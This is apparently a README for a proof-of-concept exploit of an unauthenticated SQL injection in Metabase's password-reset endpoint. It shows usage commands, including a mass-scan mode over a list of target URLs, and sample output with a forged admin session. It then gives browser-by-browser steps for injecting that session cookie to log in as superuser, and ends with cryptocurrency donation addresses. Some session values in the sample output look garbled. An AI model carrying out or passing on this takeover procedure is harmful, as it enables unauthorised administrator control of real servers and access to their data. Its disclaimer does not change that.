
Proof-of-concept exploit for CVE-2026-72898, an unauthenticated SQL injection in Metabase's password-reset endpoint. Forges an admin session for full takeover, with single-target and mass-scan modes for authorized testing.
Metabase Pre-Authentication SQL Injection Leading to Admin Takeover
Proof-of-concept for CVE-2026-72898, a critical unauthenticated SQL injection in Metabase's password-reset endpoint. The PoC injects a forged admin session row into the core_session table, then uses it to validate a full administrator session without any credentials.
Note: This PoC is for authorized security testing and research only. CVE-2026-72898 is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and is being actively exploited in the wild. You are responsible for complying with all applicable laws and obtaining written authorization before testing any system.
requests libraryInstall dependencies:
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
A 400 on step 2 with Invalid reset token is expected — it means the SQLi payload executed and the response was short-circuited. Step 3 returning 200 on /api/user/current confirms the forged session is valid.
Result statuses: vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
Metabase reads its session from the `metabase.SESSION` cookie, so you can log in to the web UI as the forged admin by adding that cookie:
**Google Chrome / Edge / Chromium**
1. Run the PoC and copy the printed `session id`
2. Open `http://TARGET/` and press `F12` (DevTools)
3. Go to **Application** (in Edge: **Application**; in Chrome: **Application**) → **Storage** → **Cookies** → select the target host
4. Click the **+** (Add cookie) button and fill in:
- **Name**: `metabase.SESSION`
- **Value**: `<SESSION_ID>` (the value printed by the PoC)
- **Domain**: the target host/IP (e.g. `192.168.1.1` or `.example.com`)
- **Path**: `/`
- Set an expiration far in the future (or click "Session")
5. Click **Save**, then refresh the page
6. You are now authenticated as the superuser — the admin gear icon will be visible
**Firefox**
1. Run the PoC and copy the printed `session id`
2. Press `F12` → **Storage** tab → **Cookies** → select the target host
3. Right-click → **Add/Edit Cookie** and add:
- **Name**: `metabase.SESSION`
- **Value**: `<SESSION_ID>`
- **Path**: `/`
- **HttpOnly**: unchecked (JS sets it)
- **Secure**: unchecked for plain HTTP
4. Save and refresh the page
**Alternative: cookie editor extension**
Use any cookie-editing extension (e.g. Cookie-Editor) to add the `metabase.SESSION` cookie with the forged value on the target domain, then refresh.
**From the browser console**
```js
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password at the network/WAF layerIf this project helped you, consider supporting its development:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE

| Argument | Description | Default |
|---|
-t, --target | Single target URL | - |
-T, --targets | File with target URLs, one per line | - |
-o, --output | Result file (tab-separated: target, result, status, session_id, admin_email) | - |
--timeout | Request timeout in seconds | 15 |